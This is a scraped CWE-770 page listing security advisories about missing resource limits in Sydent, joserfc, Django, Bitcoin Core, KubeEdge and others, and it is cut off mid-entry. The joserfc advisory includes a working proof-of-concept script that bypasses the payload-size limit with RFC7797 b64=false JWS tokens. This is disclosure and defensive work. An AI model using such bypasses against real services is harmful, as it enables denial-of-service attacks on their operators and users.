CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3022 vulnerabilities reference this CWE, most recent first.
GHSA-WMG4-8CP2-HPG9
Vulnerability from github – Published: 2021-04-19 14:54 – Updated: 2024-09-24 15:43Impact
Sydent does not limit the size of requests it receives from HTTP clients. A malicious user could send an HTTP request with a very large body, leading to disk space exhaustion and denial of service.
Sydent also does not limit response size for requests it makes to remote Matrix homeservers. A malicious homeserver could return a very large response, again leading to memory exhaustion and denial of service.
This affects any server which accepts registration requests from untrusted clients.
Patches
Patched by 89071a1, 0523511, f56eee3.
Workarounds
Request sizes can be limited in an HTTP reverse-proxy.
There are no known workarounds for the problem with overlarge responses.
For more information
If you have any questions or comments about this advisory, email us at security@matrix.org.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "matrix-sydent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29430"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-15T20:49:34Z",
"nvd_published_at": "2021-04-15T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nSydent does not limit the size of requests it receives from HTTP clients. A malicious user could send an HTTP request with a very large body, leading to disk space exhaustion and denial of service.\n\nSydent also does not limit response size for requests it makes to remote Matrix homeservers. A malicious homeserver could return a very large response, again leading to memory exhaustion and denial of service.\n\nThis affects any server which accepts registration requests from untrusted clients.\n\n### Patches\n\nPatched by 89071a1, 0523511, f56eee3.\n\n### Workarounds\n\nRequest sizes can be limited in an HTTP reverse-proxy.\n\nThere are no known workarounds for the problem with overlarge responses.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.",
"id": "GHSA-wmg4-8cp2-hpg9",
"modified": "2024-09-24T15:43:44Z",
"published": "2021-04-19T14:54:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/matrix-org/sydent/security/advisories/GHSA-wmg4-8cp2-hpg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29430"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/sydent/commit/0523511d2fb40f2738f8a8549868f44b96e5dab7"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/sydent/commit/89071a1a754c69a50deac89e6bb74002d4cda19d"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/sydent/commit/f56eee315b6c44fdd9f6aa785cc2ec744a594428"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/sydent"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/sydent/releases/tag/v2.3.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-sydent/PYSEC-2021-21.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/matrix-sydent"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Sydent vulnerable to denial of service attack via memory exhaustion"
}
GHSA-WPHV-VFRH-23Q5
Vulnerability from github – Published: 2026-06-26 20:59 – Updated: 2026-06-26 20:59RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization
Summary
Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.
The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.
This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.
Affected Product
- Package:
joserfc - Ecosystem:
pip - Audited release:
1.6.5 - Audit tag:
1.6.5 - Audit commit:
881712980934fb601bed26fe3ae1ec0b7780e6f7 - Tested affected releases:
1.3.4,1.3.5,1.4.2,1.6.2,1.6.3,1.6.4,1.6.5 - Fixed release: none known
Vulnerability Details
In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().
The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:
if is_rfc7797_enabled(protected):
if not payload_segment and payload:
payload_segment = to_bytes(payload)
payload = payload_segment
The flattened JSON RFC7797 path has the same pattern:
payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
payload = payload_segment
Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.
Reproduction
The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.
Requirements:
python -m pip install "joserfc==1.6.5"
Run:
python joserfc_rfc7797_size_bypass_poc.py
Self-contained proof script:
#!/usr/bin/env python3
import json
import joserfc
from joserfc import jws
from joserfc.jwk import OctKey
def check_compact(name, header, payload, key):
token = jws.serialize_compact(header, payload, key)
try:
obj = jws.deserialize_compact(token, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
def check_json(name, protected, payload, key):
data = jws.serialize_json({"protected": protected}, payload, key)
try:
obj = jws.deserialize_json(data, key)
return {
"case": name,
"accepted": True,
"exception": None,
"payload_len_after_deserialize": len(obj.payload),
}
except Exception as exc:
return {
"case": name,
"accepted": False,
"exception": type(exc).__name__,
"error": str(exc),
}
key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)
results = {
"joserfc_version": joserfc.__version__,
"default_max_payload_length": limit,
"payload_len": len(payload),
"compact": [
check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
check_compact(
"rfc7797_b64_false",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
"json": [
check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
check_json(
"rfc7797_b64_false_json",
{"alg": "HS256", "b64": False, "crit": ["b64"]},
payload,
key,
),
],
}
print(json.dumps(results, indent=2, sort_keys=True))
Expected output on 1.6.5 includes:
{
"default_max_payload_length": 128000,
"payload_len": 128001,
"compact": [
{
"case": "normal_b64_true",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
],
"json": [
{
"case": "normal_b64_true_json",
"accepted": false,
"exception": "ExceededSizeError"
},
{
"case": "rfc7797_b64_false_json",
"accepted": true,
"exception": null,
"payload_len_after_deserialize": 128001
}
]
}
Version Checks
I reproduced the same differential behavior on these releases:
| Version | Normal JWS over limit | RFC7797 b64=false over limit |
|---|---|---|
| 1.3.4 | ExceededSizeError |
accepted |
| 1.3.5 | ExceededSizeError |
accepted |
| 1.4.2 | ExceededSizeError |
accepted |
| 1.6.2 | ExceededSizeError |
accepted |
| 1.6.3 | ExceededSizeError |
accepted |
| 1.6.4 | ExceededSizeError |
accepted |
| 1.6.5 | ExceededSizeError |
accepted |
The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.
Relationship to Existing Advisories
I found two related public advisories for joserfc, but neither appears to cover this root cause.
GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.
GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.
Workarounds
Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.
Suggested Remediation
Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "joserfc"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.4"
},
{
"fixed": "1.6.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48990"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T20:59:38Z",
"nvd_published_at": "2026-06-17T22:16:23Z",
"severity": "MODERATE"
},
"details": "# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization\n\n## Summary\n\nTesting revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.\n\nThe normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.\n\nThis creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.\n\n## Affected Product\n\n- Package: `joserfc`\n- Ecosystem: `pip`\n- Audited release: `1.6.5`\n- Audit tag: `1.6.5`\n- Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7`\n- Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5`\n- Fixed release: none known\n\n## Vulnerability Details\n\nIn `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.\n\nThe normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:\n\n```text\nif is_rfc7797_enabled(protected):\n if not payload_segment and payload:\n payload_segment = to_bytes(payload)\n payload = payload_segment\n```\n\nThe flattened JSON RFC7797 path has the same pattern:\n\n```text\npayload_segment = value[\"payload\"].encode(\"utf-8\")\nif is_rfc7797_enabled(member.headers()):\n payload = payload_segment\n```\n\nNeither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.\n\n## Reproduction\n\nThe proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.\n\nRequirements:\n\n```bash\npython -m pip install \"joserfc==1.6.5\"\n```\n\nRun:\n\n```bash\npython joserfc_rfc7797_size_bypass_poc.py\n```\n\nSelf-contained proof script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n token = jws.serialize_compact(header, payload, key)\n try:\n obj = jws.deserialize_compact(token, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\ndef check_json(name, protected, payload, key):\n data = jws.serialize_json({\"protected\": protected}, payload, key)\n try:\n obj = jws.deserialize_json(data, key)\n return {\n \"case\": name,\n \"accepted\": True,\n \"exception\": None,\n \"payload_len_after_deserialize\": len(obj.payload),\n }\n except Exception as exc:\n return {\n \"case\": name,\n \"accepted\": False,\n \"exception\": type(exc).__name__,\n \"error\": str(exc),\n }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n \"joserfc_version\": joserfc.__version__,\n \"default_max_payload_length\": limit,\n \"payload_len\": len(payload),\n \"compact\": [\n check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n check_compact(\n \"rfc7797_b64_false\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n \"json\": [\n check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n check_json(\n \"rfc7797_b64_false_json\",\n {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n payload,\n key,\n ),\n ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n \"default_max_payload_length\": 128000,\n \"payload_len\": 128001,\n \"compact\": [\n {\n \"case\": \"normal_b64_true\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ],\n \"json\": [\n {\n \"case\": \"normal_b64_true_json\",\n \"accepted\": false,\n \"exception\": \"ExceededSizeError\"\n },\n {\n \"case\": \"rfc7797_b64_false_json\",\n \"accepted\": true,\n \"exception\": null,\n \"payload_len_after_deserialize\": 128001\n }\n ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.",
"id": "GHSA-wphv-vfrh-23q5",
"modified": "2026-06-26T20:59:38Z",
"published": "2026-06-26T20:59:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48990"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/joserfc"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/releases/tag/1.6.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization"
}
GHSA-WQ23-W7CM-HGG8
Vulnerability from github – Published: 2025-02-20 15:31 – Updated: 2025-11-04 21:31A lack of rate limiting in the 'Forgot Password', 'Email Settings' feature of PHPJabbers Car Park Booking System v3.0 allows attackers to send an excessive amount of email for a legitimate user, leading to a possible Denial of Service (DoS) via a large amount of generated e-mail messages.
{
"affected": [],
"aliases": [
"CVE-2023-51310"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-20T15:15:12Z",
"severity": "MODERATE"
},
"details": "A lack of rate limiting in the \u0027Forgot Password\u0027, \u0027Email Settings\u0027 feature of PHPJabbers Car Park Booking System v3.0 allows attackers to send an excessive amount of email for a legitimate user, leading to a possible Denial of Service (DoS) via a large amount of generated e-mail messages.",
"id": "GHSA-wq23-w7cm-hgg8",
"modified": "2025-11-04T21:31:30Z",
"published": "2025-02-20T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51310"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/176492"
},
{
"type": "WEB",
"url": "https://www.phpjabbers.com/car-park-booking/#sectionDemo"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176492/PHPJabbers-Car-Park-Booking-System-3.0-Missing-Rate-Limiting.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WQ32-8RP4-W2MC
Vulnerability from github – Published: 2025-03-27 18:31 – Updated: 2025-03-28 22:04An integer overflow in Nethermind Juno before v0.12.5 within the Sierra bytecode decompression logic within the "cairo-lang-starknet-classes" library could allow remote attackers to trigger an infinite loop (and high CPU usage) by submitting a malicious Declare v2/v3 transaction. This results in a denial-of-service condition for affected Starknet full-node implementations.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/NethermindEth/juno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29072"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-28T22:04:59Z",
"nvd_published_at": "2025-03-27T16:15:30Z",
"severity": "HIGH"
},
"details": "An integer overflow in Nethermind Juno before v0.12.5 within the Sierra bytecode decompression logic within the \"cairo-lang-starknet-classes\" library could allow remote attackers to trigger an infinite loop (and high CPU usage) by submitting a malicious Declare v2/v3 transaction. This results in a denial-of-service condition for affected Starknet full-node implementations.",
"id": "GHSA-wq32-8rp4-w2mc",
"modified": "2025-03-28T22:04:59Z",
"published": "2025-03-27T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29072"
},
{
"type": "WEB",
"url": "https://github.com/NethermindEth/juno/commit/51074875941aa111c5dd2b41f2ec890a4a15b587"
},
{
"type": "WEB",
"url": "https://github.com/NethermindEth/juno/commit/b9fe28df6a4339a66f91bff723c61dc063f9ed50"
},
{
"type": "WEB",
"url": "https://community.starknet.io/t/starknet-security-update-potential-full-node-vulnerability-recap/115314"
},
{
"type": "PACKAGE",
"url": "https://github.com/NethermindEth/juno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nethermind Juno Potential Denial of Service (DoS) via Integer Overflow"
}
GHSA-WQ8M-87W7-34W5
Vulnerability from github – Published: 2024-12-05 15:31 – Updated: 2025-02-27 18:31Denial of Service vulnerabilities where found providing a potiential for device service disruptions. Affected products:
ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02
{
"affected": [],
"aliases": [
"CVE-2024-48843"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-05T13:15:06Z",
"severity": "HIGH"
},
"details": "Denial of Service vulnerabilities where found providing a potiential for device service disruptions.\u00a0\nAffected products:\n\n\nABB ASPECT - Enterprise v3.08.02; \nNEXUS Series v3.08.02; \nMATRIX Series v3.08.02",
"id": "GHSA-wq8m-87w7-34w5",
"modified": "2025-02-27T18:31:00Z",
"published": "2024-12-05T15:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48843"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:X/R:X/V:X/RE:X/U:Red",
"type": "CVSS_V4"
}
]
}
GHSA-WQFG-M96J-85VM
Vulnerability from github – Published: 2025-04-02 15:31 – Updated: 2025-04-09 20:02An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.0"
},
{
"fixed": "5.0.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.1"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27556"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-02T20:11:40Z",
"nvd_published_at": "2025-04-02T13:15:44Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.",
"id": "GHSA-wqfg-m96j-85vm",
"modified": "2025-04-09T20:02:06Z",
"published": "2025-04-02T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27556"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/2cb311f7b069723027fb5def4044d1816d7d2afd"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/39e2297210d9d2938c75fc911d45f0e863dc4821"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/8c6871b097b6c49d2a782c0d80d908bcbe2116f1"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/edc2716d01a6fdd84b173c02031695231bcee1f8"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2025-14.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2025/apr/02/security-releases"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/04/02/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Django Potential Denial of Service (DoS) on Windows "
}
GHSA-WQH8-3GRF-J8JP
Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2024-04-04 04:20mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.
{
"affected": [],
"aliases": [
"CVE-2023-33720"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T16:15:10Z",
"severity": "MODERATE"
},
"details": "mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.",
"id": "GHSA-wqh8-3grf-j8jp",
"modified": "2024-04-04T04:20:46Z",
"published": "2023-05-26T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33720"
},
{
"type": "WEB",
"url": "https://github.com/enzo1982/mp4v2/issues/36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WQX3-8496-4XHC
Vulnerability from github – Published: 2024-11-18 06:30 – Updated: 2024-11-18 18:30Bitcoin Core before 0.20.0 allows remote attackers to cause a denial of service (infinite loop) via a malformed GETDATA message.
{
"affected": [],
"aliases": [
"CVE-2024-52920"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T04:15:04Z",
"severity": "HIGH"
},
"details": "Bitcoin Core before 0.20.0 allows remote attackers to cause a denial of service (infinite loop) via a malformed GETDATA message.",
"id": "GHSA-wqx3-8496-4xhc",
"modified": "2024-11-18T18:30:54Z",
"published": "2024-11-18T06:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52920"
},
{
"type": "WEB",
"url": "https://bitcoincore.org/en/2024/07/03/disclose-getdata-cpu"
},
{
"type": "WEB",
"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR35-FH22-Q84X
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14Keep-alive HTTP and HTTPS connections can remain open and inactive for up to 2 minutes in Node.js 6.16.0 and earlier. Node.js 8.0.0 introduced a dedicated server.keepAliveTimeout which defaults to 5 seconds. The behavior in Node.js 6.16.0 and earlier is a potential Denial of Service (DoS) attack vector. Node.js 6.17.0 introduces server.keepAliveTimeout and the 5-second default.
{
"affected": [],
"aliases": [
"CVE-2019-5739"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-28T17:29:00Z",
"severity": "HIGH"
},
"details": "Keep-alive HTTP and HTTPS connections can remain open and inactive for up to 2 minutes in Node.js 6.16.0 and earlier. Node.js 8.0.0 introduced a dedicated server.keepAliveTimeout which defaults to 5 seconds. The behavior in Node.js 6.16.0 and earlier is a potential Denial of Service (DoS) attack vector. Node.js 6.17.0 introduces server.keepAliveTimeout and the 5-second default.",
"id": "GHSA-wr35-fh22-q84x",
"modified": "2022-05-13T01:14:31Z",
"published": "2022-05-13T01:14:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5739"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/february-2019-security-releases"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202003-48"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190502-0008"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-03/msg00041.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00046.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WRCR-X4QJ-J543
Vulnerability from github – Published: 2022-07-11 21:05 – Updated: 2022-07-19 21:05Impact
The Cloud Stream server and the Edge Stream server reads the entire message into memory without imposing a limit on the size of this message. An attacker can exploit this by sending a large message to exhaust memory and cause a DoS. The Cloud Stream server and the Edge Stream server are under DoS attack in this case. The consequence of the exhaustion is that the CloudCore and EdgeCore will be in a denial of service. Only an authenticated user can cause this issue. It will be affected only when users enable cloudStream module in the config file cloudcore.yaml and enable edgeStream module in the config file edgecore.yaml as below. cloudcore.yaml:
modules:
...
cloudStream:
enable: true
edgecore.yaml:
modules:
...
edgeStream:
enable: true
Patches
This bug has been fixed in Kubeedge 1.11.1, 1.10.2, 1.9.4. Users should update to these versions to resolve the issue.
Workarounds
Disable cloudStream module in the config file cloudcore.yaml and disable edgeStream module in the config file edgecore.yaml, restart process cloudcore and edgecore after modification.
References
NA
Credits
Thanks David Korczynski and Adam Korczynski of ADA Logics for responsibly disclosing this issue in accordance with the kubeedge security policy during a security audit sponsored by CNCF and facilitated by OSTIF.
For more information
If you have any questions or comments about this advisory: * Open an issue in KubeEdge repo * To make a vulnerability report, email your vulnerability to the private cncf-kubeedge-security@lists.cncf.io list with the security details and the details expected for KubeEdge bug reports.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
